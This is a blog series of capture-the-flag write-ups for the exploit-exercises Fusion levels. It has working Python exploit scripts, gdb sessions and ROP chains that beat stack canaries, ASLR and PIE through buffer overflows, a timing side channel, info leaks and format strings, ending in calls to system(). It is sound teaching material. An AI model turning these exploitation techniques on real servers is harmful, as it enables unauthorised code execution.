Fusion 5 Part 2

A short recap

We are working on a server with ASLR and PIE. The server do not fork for every new connection, Our solution must be reliable and cannot crash the server.  Last time We wrote a client for this server, found 2 buffer overflows, one of them was actually usable. We control the values of ebp, esi, edi and eip. And of course we control the stack.

Our Plan:

  1. Find a buffer overflow
  2. Find a memory read primitive
  3. Find a memory write primitive
  4. Find libc
  5. Find a stack/heap buffer we control

Lets look at that buffer overflow again, I want to see what we are overflowing with our overflow. So I place a breakpoint on get_and_hash and print the saved registers we overflow.

Breakpoint 2, get_and_hash (maxsz=0, string=0xb7805380 "\203\354\034\213D$ \213\220\224\003", 
 separator=-1217833557) at level05/level05.c:115
115 level05/level05.c: No such file or directory.
 in level05/level05.c
1: x/5i $eip
=> 0xb7803720 <get_and_hash>: push ebp
 0xb7803721 <get_and_hash+1>: xor eax,eax
 0xb7803723 <get_and_hash+3>: push edi
 0xb7803724 <get_and_hash+4>: push esi
 0xb7803725 <get_and_hash+5>: sub esp,0x2c
(gdb) x/s $ebp
0xb78037c0 <checkname>: "\203\354\034\211t$\024\213t$ \211\\$\020\350\223\364\377\377\201\303H9"
(gdb) x/s $esi
0xb8a0c850: "\004"
(gdb) x/s $edi
0xb8a0c860: 'a' <repeats 50 times>

hmm, $edi point to our buffer (The name we use for checkname). Lets look on the function checkname that calls get_and_hash

Can you explain what $edi is used for?

Edi contains the address of our buffer as we have seen, and it is passed as a parameter to the function get_and_hash on the stack. It is also used as the parameter for the %s in the call to the function fdprintf. The compiler assumes the value of $edi is not changed by the function get_and_hash. And that it can assume that the same value in $edi at the beginning of the function get_and_hash will stay there at the end of it. It assumes it because of something called a “calling convention” basically it is convention on what what register a called function may change, what registers it may not change and where do you pass the function arguments and return value from the function.

Because $edi is a callee saved register, the calle function (get_and_hash) had to save it on the stack and pop it back out before returning to the caller function. Because it was on the stack we could change its value.

The fact that we can control the value of $edi, means that we can read any address we want in the memory space. As long as we know that the address is mapped and that our program will not crash on reading it 🙂 I will call it memory read primitive 🙂

What’s next?

It is import to know that right now this read primitive is useless. As long as we don’t know what we would like to read. If we try to read an unmapped address The server will crash.

I gave it hard and long thought for a few days, and I figure out that as long as ASLR and PIE are active, I can’t do anything much. I think about trying a partial overflow of return address (only changing the lower byte of the return address), It is possible. And it will allow me to return into any address withing the 256 bytes range of the original return address of this function. I couldn’t find any useful address in this range. I could overflow 2 lower bytes of the return address which would allow me 256^2 possible return address to search for. But, ASLR and PIE both works in a resolution of a memory page. (In This platform the size of a memory page is 0x1000 bytes. In newer Iphones for example it’s 0x4000 bytes). Anyway, I can’t overflow 1.5 bytes and when I overflow 2 bytes I might hit an unmapped address and cause a crash.

I keep thinking about it for a few more days, And couldn’t find any new directions to look at. I try to play with the client a little bit and then

An unexpected breakthrough

After sending this command:

print send_checkname_command(s, "a" * 10)

I get this output:

$ python fusion5.py 
** welcome to level05 **
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa is not indexed already

Something is off here. I can swear that there are more than 10 a’s in the output. I try it with 10 b’s and I get:

bbbbbbbbbbaaaaaaaaaaaaaaaaaaaaaa is not indexed already

It takes me some time and some more playing with the program but I conclude that one of the buffers that the program is using is not being zeroed before usages. I use my gdb powerz, and figure out that inside the function childtask the buffer “char buffer[512]” is not being zeroed before usage , and we might be able to read whatever garbage is on the stack immediately after the name we input (Until we encounter a ‘\0’). This is where I start a few long days of trying to figure out what is on this stack and where. If we can cause this bug to output any useful address, this kind of bug is called an info-leak

Triggering the info-leak

The first thing I do is connect with a debugger and try to figure out if there is anything useful on the stack when this function is being called.

1: x/2i $eip
=> 0xb77ade4e <childtask+478>: call 0xb77ad7f0 <__strdup@plt>
 0xb77ade53 <childtask+483>: mov DWORD PTR [esi+0x4],eax

(gdb) x/32bx *(int*) $esp
0xb7bb75ca: 0x62 0x62 0x62 0x62 0x62 0x62 0x62 0x62
0xb7bb75d2: 0x62 0x62 0x00 0x00 0x00 0x00 0x00 0x00
0xb7bb75da: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xb7bb75e2: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

We don’t see anything useful after our 10 b’s. (0x62 is ‘b’)

My next thought is that maybe after I will use the program with some other features of the server, this stack buffer are will be filled and then I will be able to access some data on it. (Impossible if you think about it, the “char buffer[512]” from the function childtask can not be affected by function that childtask is calling. ) The only hope is that It can be affected by something that happens before the function childtask is started.

We need to think of some kind of weird behavior that can cause us to get a different stack (or the same Stack after it has been filled with data). I guess the most obvious idea is to try to keep a few connections working in the same time.  Unfortunately this server will not handle our second request while the first task is waiting for input. And this is exactly the difference between tasks and threads. We don’t have a scheduler to simulate execution of both tasks in the same time. The second task will not run until the “main” (= childtask) of the returns.

I write the following functions:

def try_to_leak_data(length): 
  s = setup_session() 
  s.recv(100) 
 
  data = send_checkname_command(s, "A" * length) 
  data = data[length:] 
  data = data[:-len(" is not indexed already.")] 
 
  return data 
 
def search_for_data_leak(length, retries): 
  leaked_data = None 
  for i in range(retries): 
    data = try_to_leak_data(length) 
    if len(data) &gt;= 4: 
      print i, data.encode("hex") 
      leaked_data = data[:4] 
      break 
  return leaked_data 
 
def main(): 
  print hex(buffer_to_address(search_for_data_leak(10,100))) 

I run it a few times. Sometimes it works giving me an output like this:

$ python ./fusion5.py 
15 38747eb723
0xb77e7438

Notice that 15 is the number of iterations needed to get this data (out of maximum 100 tries). After it worked once. the second time I run it I get the same output but in iteration number 0. And after I kill the server and restart it sometimes I can’t leak any info from it.

anyway let’s explore this address I can sometimes leak from the server:

(gdb) x/1wx 0xb77e7438
0xb77e7438 <main_arena+56>: 0xb93b9598

With “info proc map”, in gdb I confirm that this address is in libc!

After some more restarting the server and running my script I find out that I can get this address in libc about 1/3 of the times

Finding libc

Of course 1/3 of the times is not good enough. I keep trying different lengths for the buffer I send (Essentially searching on the stack in different offsets) . And after some more trial and error I find out that if I will try to length 2, 6, 10 I will always get an address by doing it.

The thing is, I get different addresses every time I restart the server. (And cause ASLR to randomize the address space). Remember how I said ASLR only works at the resolution of a memory page? I wasn’t kidding about it 🙂 Anyway, I figured out that every time I get an address that ends with 0x438, I can subtract 0x179438. and get the load address of libc. In the same way I mapped about 10 different offsets withing pages of address I got while running and restating the server. For each of these I mapped the right offset of it from libc. It is worth mentioning that some of the time I got an offset inside ld. It took me a lot of trials of exploiting the bug with the address of libc until I tested it and saw that libc is in a constants offset from ld (At least in the target VM). I ended with this function:

POSSIBLE_LEAKS_DICT = { 
  0x6ec: 0x96ec + 0x189000, 
  0x13d: 0x913d + 0x189000, 
  0xff4: 0x1eff4 + 0x189000, 
 
  0xbc8: 0x187bc8, 
  0x8d8: 0x1878d8, 
 
  0xf30: 0xcf30, 
  0x430: 0x179430, 
  0x438: 0x179438, 
} 
 
def find_libc(): 
  libc_addr = None 
  for l in [2, 6, 10]: 
    print l 
    data = search_for_data_leak(l, 10) 
    if (data is not None) and data != "AAAA": 
      addr = struct.unpack("I", data)[0] 
      print l, hex(addr) 
      lsb = addr &amp; 0xFFF 
      if lsb in POSSIBLE_LEAKS_DICT: 
        libc_addr = addr - POSSIBLE_LEAKS_DICT[lsb] 
  return libc_addr 

This function seems to find libc on every try. And it seems like a good place to stop. So to recap, we found an absolute memory read, and we found libc. Next time we will see how we can exploit these bugs. See you next time 🙂

Fusion 4 Part 2

Hey guys and girls,

Here is a short recap of what we have and where we are standing, Fusion 4 – web server that works by forking a new child for each connection. We found a buffer overflow, we bypassed Source Fortification (Canary), we Found the load address of the binary and this way bypassed Position Independent executable (PIE).

For anyone who hasn’t read Fusion 4 – part 1 This is the time to go and read it 🙂

Game plan:

  1. Understand what are primitives.
  2. Find the main binary.
  3. Find Libc.
  4. Return into system with whatever commands you want to run on the target machine.

Primitives

I think it now is the time to talk about primitives. What are primitive in this exploitation world you might ask yourself. Well, a primitive, as suggested by it’s name is our ability to do something very simple and primitive. A real world exploit might be very complicated, but to understand how it works and to develop it, we will think and work with much simpler “tools” each of those tools will be called a primitive.

For example, Let’s say we found a way to read the content of a given address. We would call it an absolute memory read primitive. Or let’s say we know how to write whatever we want into a given address, that is an absolute memory write primitive. From now on we will try to talk and think in that new language. Because this is how the big boys talk.

New Game plan:

  1. Find an absolute memory read primitive.
  2. Read an address on the stack (Find the location of the stack)
  3. Read the location of libc by reading the .got.plt.
  4. Use the location libc, and the stack buffer to return into the function system in libc.

Absolute memory read primitive

As we have seen before, one of the most useful tools for breaking ASLR and exploiting vulnerabilities is having the Absolute memory read primitive. This primitive, in simple language it is the ability to read the content of any memory address we would like.

In earlier stages we got it by roping into printf with %s as format string, and a pointer to libc  we know we have in a constant offset in the main binary as the parameter to printf. We don’t need to reinvent the wheel and we will do it again in this stage. The only thing I have to say about it is that in this binary we had the address of __fprintf_chk and not of printf. (Remember we have the address of the binary and not of libc, so we can only call functions in the main binary).

Assume x is where the return address of the function was. Assume the format string of the printf contains %s

Here is the new code for this part.

def memory_read(password, canary, ebx, main_exe, address, length): 
  rop = [ 
  main_exe + 0xfc0, # address of _printf_chk 
  main_exe + 0xeb0, # address of exit, 
  1, # printing to stdout 
  main_exe + 0x2e66,# "Server: %s\r\n" 
  address,# address to read 
  ] 
  payload = ebx + "a" * 12 + ropchain_to_payload(rop) 
  memory = send_overflowed_request(password, canary, payload) 
  # Triming the output. 
  memory = memory[len("Server: "): -1 * len("\r\n")] 
  memory = memory[:length] 
  return memory 
 
def get_libc_address(password, canary, ebx, main_exe): 
  # reading the address of open in the .got.plt of the main exe 
  address_of_open = memory_read(password, canary, ebx, main_exe, main_exe + 0x41a4, 4)
  libc_address = buffer_to_address(address_of_open) - 0xc0b60 
  return libc_address 

def main(): 
  password = brute_force_password() 
  print "password is ", password 
  canary = brute_force_canary(password) 
  print "canary is ", canary.encode("hex") 
  # ebx, esi, edi, ebp, eip 
  ebx = brute_force_ebx(password, canary) 
  print "ebx is ", ebx.encode("hex") 
  main_exe = buffer_to_address(ebx) - 0x4118 
 
  raw_input("press any key to continue") 
  libc = get_libc_address(password, canary, ebx, main_exe) 

I run and test it, and it works.. Now we have the memory read primitive and the address of libc. We can cross items number 1 and 3 from our game plan.

Stack read primitive

Like I said, we want to be able to know the address of the stack pointer (which is changed by ASLR for each time the process restarts). To do that we will build a stack read primitive. Our stack read primitive will work just like the memory read primitive, the only difference is that we will not supply the printf format with a format string, this way whatever is on the stack after our overflow will be used as a pointer to a format string, with a little bit of luck* the stack will contain a pointer to a pointer to a stack address.

* Well, no luck is needed because saved ebp points to previous saved ebp until the first function call of the program. So we should be able to find one of these saved ebps.

After testing what I said in the previous 2 paragraphs, I figured out that in our case, After writing on the stack the overflow we need for memory read, we don’t have any saved ebp on the stack, It sucks, but we will have to find a different way to get our esp.

Stack read primitive – take 2

We already know how to read a given address in our memory. What if we could write the stack pointer into a given address and than read from it?

If you recall, In Fusion 3 I found out that we have the following gadget in libc:

1:
Push $esp
Jmp $esi

2:
Pop $ecx
Pop $edx
Ret

3:
Xchg [$edx], $ecx
Ret

Together I can write the stack pointer into whatever memory address I want. And later read from there with the memory read primitive we have. All I have to do is to find an address I can write into, and chain the memory read with the memory write of esp.

gadgets 1,2,3 will write ESP into “Storage for esp”. Rest of the stack will be used to print the content of “Storage for esp”

I did it and got an address which is 0x813 bytes from the end of my password in the buffer I control. Now I will pass a bash line on this buffer, call system and win.

new function:

 
def get_stack_address(password, canary, ebx, main_exe, libc_address): 
  # Unused in the .bss section 
  esp_storage = main_exe + 0x467f 
  rop = [ 
  # Writing esp to esp_storage 
  libc_address + 0x0015ffc9, # push esp; jmp esi 
  
  # pop ecx; pop edx; ret - in esi 
  esp_storage, 
  libc_address + 0x001633a0, # xchg [edx], ecx; ret 
  
  main_exe + 0xfc0, # address of _printf_chk 
  main_exe + 0xeb0, # address of exit, 
  1, # printing to stdout 
  main_exe + 0x2e66,# "Server: %s\r\n" 
  esp_storage, 
  ] 
  # second gadget 
  new_esi = address_to_buffer(libc_address + 0x0002da2b) 
 
  payload = ebx + new_esi + "1234" + "\x00"*4 + ropchain_to_payload(rop) 
  memory = send_overflowed_request(password, canary, payload) 
  # Triming the output. 
  memory = memory[len("Server: "): -1 * len("\r\n")] 
 
  # sizeof address 
  length = 4 
  memory = memory[:length] 
  # 0x813 is the distance between the address I get and the end of the 
  # password in the details buffer in validate_password. 
  return buffer_to_address(memory) - 0x813 

Exploit

The exploit is trivial, after we have the address of libc, and our buffer. We will overflow, return into the function system with our buffer as a parameter. The buffer will contain whatever we would like to run in system. If you really want to see it in code, look at any of the previous articles in this series 🙂

Fusion 4

Today we will try to solve Fusion 4. This level is a lot more complicated than the previous ones, so I might split it into 2 articles.

What we will do:

  1. Read and understand the program well.
  2. Find the stack overflow.
  3. Write a simple client.
  4. Verify our stack overflow.
  5. Find the location of the main binary
  6. Find libc.
  7. Find a known buffer.
  8. exploit.

Understanding the program:

The program is an http server that works as a fork-and-exec server. Seems like there is some kind of password that we will have to brute-force or something. To our “luck” the password is generated before the fork, so it will be the same as long as we don’t restart the father process. The server only implements http-get method which should return a file saved on the server. My guess is that we will find the vulnerability in parsing of the request or path to file.

We will also have to deal with Address Space Layout Randomization (ASLR), Position Independent Executable (PIE) which is ASLR for the main binary and Source Fortification whatever that means… seems like a fun program 🙂

Annnnddd, I found the buffer overflow. It is in the function validate_credentials we try to base64_decode “char * line” into “unsigned char details[2048]”, line is sent from  the function webserver and is part of “char line[10000]”. Seems like it would be easy to overflow.

Now let’s write the simple client. Ok after some playing and tweaking with my code the client works. And it can also overflow the stack buffer. But, The function send_error calls exit after sending its error. Which means we must have the right password when we overflow the buffer..

 
#! /usr/bin/env python 
import socket 
import string 
import time 
 
PORT = 20004 
HOST = "VM" 

def create_a_session(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.connect((HOST, PORT)) 
  return s 
 
def send_request(method, path, protocol, auth, s = None): 
  if s == None: 
    s = create_a_session() 
 
  request = "{} {} {}\n".format(method, path, protocol) 
  s.send(request) 
  auth = "".join(auth.encode("base64").splitlines()) 
  request = "Authorization: Basic " + auth + "\n" 
  s.send(request) 
  s.shutdown(socket.SHUT_WR) 
 
  return s.recv(1000) 
def main(): 
  print send_request("GET", "/etc/hosts", "HTTP/1.0", "a" * 3000) 
 
if __name__ == "__main__": 
  main()

So this is our next task.

Cracking the password

If you read validate_credentials carefully, you will see that the delay after wrong password is affected by the number of wrong chars in the password. We will use it to brute force the password one char at a time. Consider this algorithm:

  1. Try all of the password in length 1
  2. Time every attempt.
  3. Choose the letter that had the fastest error returned for it

This way we can guess the entire password in O(n * m) instead of O(n^m)- where n is the length of the password and m is the size of the alphabet of the password.

 
def try_password(password): 
  s = create_a_session() 
  s.settimeout(4) 
  start_time = time.time() 
  send_request("GET", "/etc/hosts", "HTTP/1.0", password, s) 
  try: 
    s.recv(50) 
    end_time = time.time() 
  except socket.timeout, e: 
    print "Time out", 
    return False 
  total_time = end_time - start_time 
  return total_time 

POSSIBLE_PASSWORD_CHARS = string.ascii_letters + "".join([str(i) for i in range(0,10)])
PASSWORD_LENGTH = 16 
PASSWORD_CACHE = ":Ylp5kLoBgVSy7yCb" 
TIME_EPSILON = 0.0015 
def brute_force_password(): 
  all_password = ":" 
  roundtime_trip_time = 0 
 
  for i in range(10): 
    roundtime_trip_time += try_password("") 
    roundtime_trip_time = roundtime_trip_time / 10 
    time_treashold = roundtime_trip_time + TIME_EPSILON 
    print time_treashold 
    if (time_treashold > try_password(PASSWORD_CACHE)): 
      return PASSWORD_CACHE 
 
  for _ in range(PASSWORD_LENGTH): 
    for c in POSSIBLE_PASSWORD_CHARS: 
      temp_password = all_password + c 
      # try the password twice to make sure the timeout is not by accident 
      if (time_treashold > try_password(temp_password)) and (time_treashold > try_password(temp_password)):
        all_password = temp_password 
        break 
  if len(all_password) < PASSWORD_LENGTH: 
    print all_password 
    raise "WTF, can't brute force password" 
  return all_password 

We try to overflow the stack and this time we get this message:

*** stack smashing detected ***: /opt/fusion/bin/level04 terminated

After some investigation, I figure out that the Source Fortification contains a canary, and that our stack overflow, overflowed it. Seems because the canary is set when the process is created and is not changed for each forked child, we can bruteforce the canary as well.

gs:0x14 points to a value that is randomized once when the process starts. it is saved into a stack register at the last 2 op-codes of this block
gs:0x14 is compared to the value that we saved on the stack. And if it was overflowed by a different value the program will crash.

 

Brute forcing the whole canary is hard and would take us 2^32 attempts which is a lot. So, we are lucky enough that we can try to brute force one char (8 bits) at a time. This way we only need 2^8 * 4 attempts which is 1024 and a LOT less than 2**32.

It is super important to understand here that the reason we are allowed to brute force and we don’t care to crash the program is that the server is a father process that forks a different child process for each connection. all of the children have the same address space (and canary) and nothing bad happens if a child  process dies.

 
CACHED_CANARY = address_to_buffer(0xd6d1200) 
def brute_force_canary(password): 
  good_response = guess_canary(password, "") 
  cached_response = guess_canary(password, CACHED_CANARY) 
  if good_response == cached_response: 
    return CACHED_CANARY 
 
  canary = "" 
  for j in range(4): 
    for i in range(0x100): 
      response = guess_canary(password, canary + chr(i)) 
      if good_response == response: 
        canary += chr(i) 
        break 
  return canary 

def main(): 
  password = brute_force_password() 
  print "password is ", password 
  canary = brute_force_canary(password) 
  print "canary is ", canary.encode("hex") 

I coded this brute force and of the stack canary and it works. I confirmed it by letting the debugger crash and printing the registers we control:

eax            0x1      1
ecx            0x0      0
edx            0x0      0
ebx            0x62626262       1650614882
esp            0xbfce2ce0       0xbfce2ce0
ebp            0x62626262       0x62626262
esi            0x62626262       1650614882
edi            0x62626262       1650614882
eip            0x63636363       0x63636363
eflags         0x286    [ PF SF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

Yay for us!

Well, next thing we need to do is to find the main binary,

I run my client without overflowing $eip and the server crashes. It crashes here:

It crashes because of the value of esi is not correct. I compare it to the source code and it seems like this line it is this line:

Again we can brute force esi byte by byte, and we can probably find a stack buffer we control in a place relative to esi. If we guess esi correctly, we will get a certain response and if we will guess incorrectly, we will get a different response (probably a crash of the server and no response at all.)

I coded it but it didn’t work. After looking at the function “webserver” in ida, i understood that we overflow ebx and it is also an address of a stack buffer. And the program crashes before it returns any useful output with corrupted ebx. So let’s do what we said about esi but with ebx

In my case ebx was 0xb7804118. I compared it to the list of loaded image and found out it’s exactly 0x4118 bytes away from the main binary.

So we can say we found the load address of the main executable and that we have beaten PIE (Position Independent Executable). In this example. (a forking server we can crash infinite number of times while the address space won’t change)

Soooo, I coded a brute force for esi, but I get the first 2 bytes to be 0x01 and only then I get the right bytes of the address. I learn from it that we don’t need the right value of esi in order for the program to work as expected, only a value of an address which is mapped. I guess I would have to find another way to find esi (or the address of a stack variable).

So In this article we managed to:

  1. Understand the code.
  2. Find a buffer overflow.
  3. Find a password using Timing side channel attack.
  4. Brute force a canary.
  5. Find the load address of the executable (beating PIE )

We will continue with finding libc, a buffer and roping into system in the next article 🙂

Fusion 2

Another day another exploit!

This time we will be working on Fusion2 from exploit-exercises.com

It is a little bit harder than the previous 2 exercise that we solved here because it involves some crypto-wannabe function and some more mitigation that we haven’t seen before. The good news about the mitigation (non executable stack and heap) is that we didn’t try to execute code from the stack or heap last 2 levels so we should be fine.

Now go read the code of Fusion2 take as much time as you need. Find the buffer overflow. If you don’t understand what the program does. I believe you should learn how to program in C before you learn how to bugs in C code. 

Game plane

  1. Find the buffer overflow.
  2. Control the data being written to stack.
  3. Find the address of the stack
  4. Find the address of libc
  5. Call system with a predefined buffer.
  6. Go catch some sun at the beach!

The overflow:

Well, the buffer “buffer” is kept on the stack, the program receives a length n and then reads n bytes into this buffer, xors them with a secret key and then returns them back to you. In no stage this length is being verified to be shorter than the length of the buffer! Seems like we found our overflow. Now lets write a simple client to communicate with it and test it.

 
#! /usr/bin/env python 
import socket 
import struct 
import time 
 
PORT = 20002 
HOST = "VM" 
 
def send_encrypt_command(s, data): 
  s.send("E") 
  s.send(struct.pack("I", len(data))) 
  s.send(data) 
  time.sleep(0.1) 
  s.recv(len("[-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support staff to retrieve your file --]\n")+1)
  output_length = struct.unpack("I",s.recv(4))[0] 
  print "reciveing output for encrypt command %d bytes"% (output_length, ) 
  return s.recv(output_length) 
 
def send_quit_command(s): 
  s.send("Q") 
 
def create_a_session(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.connect((HOST, PORT)) 
  print "Reciving:\"%s\"" % (s.recv(1000), ) 
  return s 
 
def main(): 
  s = create_a_session() 
  send_encrypt_command(s, "a"* 5000) 
 
if __name__ == "__main__": 
  main() 

It seems to be working fine. Now lets connect with a debugger and see if we can crash it!

0x6c2ba758 in ?? ()
1: x/5i $eip
Disabling display 1 to avoid infinite recursion.
=> 0x6c2ba758:  Cannot access memory at address 0x6c2ba758

We crashed it! seems like we overflowed the stack buffer, but the crash address is pretty random. Well, a xor of a random number and our buffer.  We can’t really do anything with a crash in a random address…

Controlling the force:

Now let’s see if we can control the data we overflow with.  Back to examine the function cipher.

Seems like the cipher key is calculated once per connected client (It happens after the fork, which means that it happens once per child) and we get back our input xored with this key.

We know that X xor 0 = X for every X. So we will send a buffer full of zeros to be xored and returned to us. The output is the xor key for this connection.

Let’s code this new logic:

 
KEY_LENGTH = 32 
def get_encryption_key(s): 
  return send_encrypt_command(s, "\x00" * KEY_LENGTH) 
 
def xor_buffer(key, buff): 
  new_buff = [] 
  for i, b in enumerate(buff): 
    new_b = chr(ord(b) ^ ord(key[i % KEY_LENGTH])) 
    new_buff.append(new_b) 
  return "".join(new_buff) 
 
def send_overflowed_buffer(s, key, payload): 
  data = "a" * (32 * 4096) 
  data += payload 
  xored_data = xor_buffer(key, data) 
  return send_encrypt_command(s, xored_data) 
 
def main(): 
  s = create_a_session() 
  key = get_encryption_key(s) 
  send_overflowed_buffer(s, key, "bbbb" * 4 + "cccc") 
  send_quit_command(s) 

And run it, while being connected with a gdb

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 26424]
0x63636363 in ?? ()
1: x/5i $eip
Disabling display 1 to avoid infinite recursion.
=> 0x63636363: Cannot access memory at address 0x63636363
(gdb) info registers 
eax 0x51 81
ecx 0xbf916dbb -1080988229
edx 0x1 1
ebx 0xb771dff4 -1217273868
esp 0xbf936dd0 0xbf936dd0
ebp 0x62626262 0x62626262
esi 0x0 0
edi 0x0 0
eip 0x63636363 0x63636363
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/s $eax
0x51: <Address 0x51 out of bounds>
(gdb) x/s $ebx
0xb771dff4: "|}\027"
(gdb) x/s $ecx
0xbf916dbb: "Q", 'a' <repeats 32 times>"\247, \022"
(gdb) x/s $edx
0x1: <Address 0x1 out of bounds>

And it works, we control the return address! Notice that 0x64 is ‘c’ and 0x64646464 is “cccc”

So now that we control the return address lets see what else we need in order to get a working exploit. The way I like to roll, is to call system with a string I control.

To do that we need:

  1. Find libc
  2. Find how the address of a buffer we control (that will contain the line we would like to run.)

In order to find the address of libc, we can do a similar trick to the one we did in fusion1. This time we will just return into the function printf, with an address of a pointer to libc as a format string. This pointer can be found in  .got.plt of the executable.

def get_address_of_libc(): 
  s = create_a_session() 
  key = get_encryption_key(s) 
 
  payload = struct.pack("I", 0x8048870) #adddres of printf 
  payload += struct.pack("I", 0x804b5dc) #adddres of exit, return address for printf
  payload += struct.pack("I", 0x804b3c8) #adddres open in .got.plt, what we want to printf
  send_overflowed_buffer(s, key, "bbbb" * 4 + payload)  
  send_quit_command(s) 
  data = s.recv(1000) 
  data = data[:4] 
  address_of_open = struct.unpack("I", data)[0] 
  address_of_libc = address_of_open - 0xc0b60 
  return address_of_libc

Okey now that we have the address of libc, we just need to figure out how to get the address of a buffer we control so that we can pass it into system. (Actually controlling the stack and having the address of libc is enough but requires more complicated exploit script, we will see it in future article.)

Finding stack address

Remember we control the value of ecx? (it’s the string we input as file to encrypt), I run a search of usages of ecx in ida trying to find a place I can use it. And I come by this block of code:

What do we see here? It’s a call to the function fprintf with the format string being passed on $ecx. If we jump into this code  2 opcodes after the call to strerror, we can pass any format string we want to fprintf. And if I will pass enough %x’s I can read as much of the stack as I would like. Somewhere on the stack I expect to find and address of a stack variable.

I try to do it, and somehow this variable gets corrupted from some point, so I can’t send as many %x’s that I need. I connect with a debugger and figure out that the 12th stack variable is a pointer to a variable that is on the stack, I use the format %12$x to print it as a hex number. It prints the 12th-4 byte parameter on the stack as an hexadecimal number. I test it and it is exactly 0x200d8 bytes away from the buffer I control, which means that after getting it I can get the buffer address with simple math.

def get_address_of_buffer(): 
  s = create_a_session() 
  key = get_encryption_key(s) 
 
  payload = struct.pack("I", 0x8049346) #adddres of setting up and calling fprintf
  payload += struct.pack("I", 0x804b5dc) #adddres of exit, return address for printf
  # printf format that says, print the 12th stack parameter as hex number 
  prefix = "%12$x" + "\x00" * 4 
  send_overflowed_buffer(s, key, "bbbb" * 4 + payload, prefix = prefix) 
  send_quit_command(s) 
  data = s.recv(1000) 
  # The first printed char will be Q because of the quit command we must send. 
  stack_address = int(data[1:], 16) 
  buffer_address = stack_address - 0x200d8 
  return buffer_address 

After that, exploiting is pretty easy. We just make sure the buffer starts with a line we want to run, say “touch /tmp/a”. And change the return address to return into the function system with the buffer as the first parameter. And that’s it.

def exploit(libc_address, buffer_address): 
  s = create_a_session() 
  key = get_encryption_key(s) 
 
  # calling system with buffer as parameter 
  payload = struct.pack("I", libc_address + 0x3cb20) #adddres of system 
  payload += struct.pack("I", 0x804b5dc) #adddres of exit, return address for printf
  payload += struct.pack("I", buffer_address) 
 
  prefix = "touch /tmp/a" + "\x00" * 4 
  send_overflowed_buffer(s, key, "bbbb" * 4 + payload, prefix = prefix) 
  send_quit_command(s) 
  time.sleep(0.1) 
  print s.recv(1000) 
 
def main(): 
  buffer_address = get_address_of_buffer() 
  libc_address = get_address_of_libc() 
  print "libc is at %x, buffer is at %x" %(libc_address, buffer_address) 
  exploit(libc_address, buffer_address) 
 
if __name__ == "__main__": 
  main()

 

Now I am going to the beach!

Not the beach I am going to

I would love to hear what you think about the article and the solution in the comments below.

Fusion 1

Ok, so we are done with Fusion0. And now to Fusion1, conveniently The source code for Fusion1 is the same as the code for Fusion0, the only new thing is that now we have an active ASLR (Address space layout randomization)  that we need to break.

Lets start with the code from Fusion 0, If you do not understand it please go back to Fusion 0 🙂

#! /usr/bin/env python 
import socket 
import struct 
 
PORT = 20000 
HOST = "VM" 
 
def get_commands(): 
 file_path = "/" 
 pattern = "GET %s%s%s HTTP/1.1 " 
 padding_length = 139 
 padding = "a" * padding_length 
 ADDRESS_OF_SYSTEM = 0xb76bab1f 
 ADDRESS_OF_EXIT = 0xb76b09e0 
 ADDERSS_OF_BASH_LINE = 0xbf879cee 
 BASH_LINE = "touch /tmp/a; " 
 payload = struct.pack("I", ADDRESS_OF_SYSTEM ) + struct.pack("I", ADDRESS_OF_EXIT) + struct.pack("I", ADDERSS_OF_BASH_LINE)
 return [pattern % (file_path, padding, payload) + BASH_LINE] 
 
def main(): 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 s.connect((HOST, PORT)) 
 commands = get_commands() 
 for c in commands: 
   print "Sending:\"%s\"" % (c, ) 
   s.send(c, len(c)) 
   print "Reciving:\"%s\"" % (s.recv(1000), ) 
 print "Reciving:\"%s\"" % (s.recv(1000), ) 
 
if __name__ == "__main__": 
 main() 

Game plan:

  1. Make sure our solution for fusion0 still works when we know the address.
  2. Think about how to “know” the address

First let’s understand on what addresses our solution of fusion-0. From reading our script, its clear that we relay on “ADDRESS_OF_SYSTEM”, “ADDRESS_OF_EXIT”, and “ADDRESS_OF_BASH_LINE”.

Now let’s see what addresses changed between different runs of the program, we must remember that the server is written as fork server which means that we have one parent server process running and the parent is being “cloned” (actually forked) for each request. Now each of those “clones” (we will call them children) has the same address layout of the parent. It means that in order to test what gets shuffled with ASLR we must use kill the parent program. And restart it:

Connect with gdb to the process, (ASLR is off by default for processes started with gdb).

(gdb) info proc map  
0x8048000  0x804b000     0x3000          0       /opt/fusion/bin/level01 
0xb772d000 0xb78a3000   0x176000          0       /lib/i386-linux-gnu/libc-2.13.so  
0xb78b6000 0xb78d4000    0x1e000          0       /lib/i386-linux-gnu/ld-2.13.so  
0xbf8ac000 0xbf8cd000    0x21000          0           [stack]  

In Bash:
sudo killall -9 level01 
/opt/fusion/bin/level01

Connect again with gdb:
(gdb) info proc map  
0x8048000  0x804b000     0x3000          0       /opt/fusion/bin/level01
0xb758a000 0xb7700000   0x176000          0       /lib/i386-linux-gnu/libc-2.13.so  
0xb7713000 0xb7731000    0x1e000          0       /lib/i386-linux-gnu/ld-2.13.so 
0xbf860000 0xbf881000    0x21000          0           [stack]

Comparing these 2 outputs, we can clearly see that libc, ld, and the stack moved, but the main binary is loaded to the same address. Well, this is good! We can use any address in the main exec and assume it will not move between instances of the server program.

Unfortently, “ADDRESS_OF_SYSTEM” is in libc which moves. And “ADDRESS_OF_BASH_LINE” was on the stack which also moves. So If we want this exploit work and bypass ASLR, we need to find a reliable way to find the address of libc and the stack.  

In order to understand what I am working with, i place a breakpoint in gdb right when the function fix_path should return, run my exploit script from the fusion0, and lets see what happens.

(gdb) info registers 
eax            0x1      1
ecx            0xb772c8d0       -1217214256
edx            0xbf8ca628       -1081301464
ebx            0xb78a4ff4       -1215672332
esp            0xbf8ca61c       0xbf8ca61c
ebp            0x61616161       0x61616161
esi            0xbf8ca6dd       -1081301283
edi            0x8049ed1        134520529
eip            0x8049854        0x8049854 <fix_path+63>

I than reference all of the registers to see if any of them points into a buffer I can control:

(gdb) x/s $eax
